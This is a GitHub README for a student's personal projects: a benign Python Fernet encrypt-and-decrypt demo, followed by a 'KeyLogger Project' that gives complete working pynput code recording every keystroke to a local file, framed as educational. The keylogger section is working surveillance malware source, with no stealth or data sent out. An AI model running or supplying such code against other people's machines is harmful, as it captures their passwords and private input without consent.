Skip to content

My GitHub Pages containing all the personal projects I completed

Notifications You must be signed in to change notification settings

Allana-Gibson/Personal-Projects

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

15 Commits
 
 
 
 
 
 
 
 
 
 

Repository files navigation

Cryptography Project

  • Helps to encrypt a plain text,key,number or a word phrase using cryptographic algorithm.
  • The text can be hidden from others except the sender and the receiver.

Here is the source code of my 3 program files (in python):

# this script creates the key to encrypt and decrypt with

from cryptography.fernet import Fernet
key = Fernet.generate_key() #this generates a random key each time its called
print(key)

# so we need to write the key to a file so we use the same one each time
file = open('key.file', 'wb')
file.write(key) #key is a byte and it stores it into a file
file.close()
  • The output will extract the key.

Here is a picture of the output file:

image1

from cryptography.fernet import Fernet

#First get the key from the imported file
file = open('key.file', 'rb')
key = file.read()
file.close()

#this will encode the message
message = "Hello! This is my secret message"
encoded = message.encode() #this converts the message to bytes

#this will encrypt the message
f = Fernet(key)
encrypted = f.encrypt(encoded)
print (encrypted)

# saves encrypted message into file
file = open('encrypted.message', 'wb')
file.write(encrypted)
file.close()
  • The output will print the encrypted message.

Here is a picture of the output file:

image2

from cryptography.fernet import Fernet

#First get the key from the imported file
file = open('key.file', 'rb')
key = file.read()
file.close()

#Then get the encrypted message
file = open('encrypted.message', 'rb')
message = file.read()
file.close()

#This decrypts the encrypted message
f2 = Fernet(key)
decrypted = f2.decrypt(message)

#this decodes the message from byte to sting
original_message = decrypted.decode()
print(original_message)


#saves ogininal message into a file
file = open('original.message', 'wb')
file.write(decrypted)
file.close()
  • The output will decrypt the encrypted message and save it into a file.

Here is a picture of the output file:

image3

KeyLogger Project

  • A keylogger is a type of monitoring software or malware that is used to collect every keystroke the user types.

Reasons for use:

  1. Hackers trying to access personal data.
  2. IT organizations attempting to troubleshoot technical problems.
  • I did this for educational research ONLY.

Here is the source code of my program (in python):

from pynput.keyboard import Key, Listener
import logging

logKeystroke = ""

logging.basicConfig(filename=(logKeystroke + "key_log.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')
                                                                   # prints the text with date & time
def on_press(key):
    logging.info(str(key)) #when a key is pressed it will store the info in file

with Listener(on_press=on_press) as listener:
    listener.join()
  • The output will extract a .txt file on to the folder displaying every keystroke pressed.
  • The user will have to terminate the program in Task Manager to end the application.

Here is a picture of the output file:

snippen2

About

My GitHub Pages containing all the personal projects I completed

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages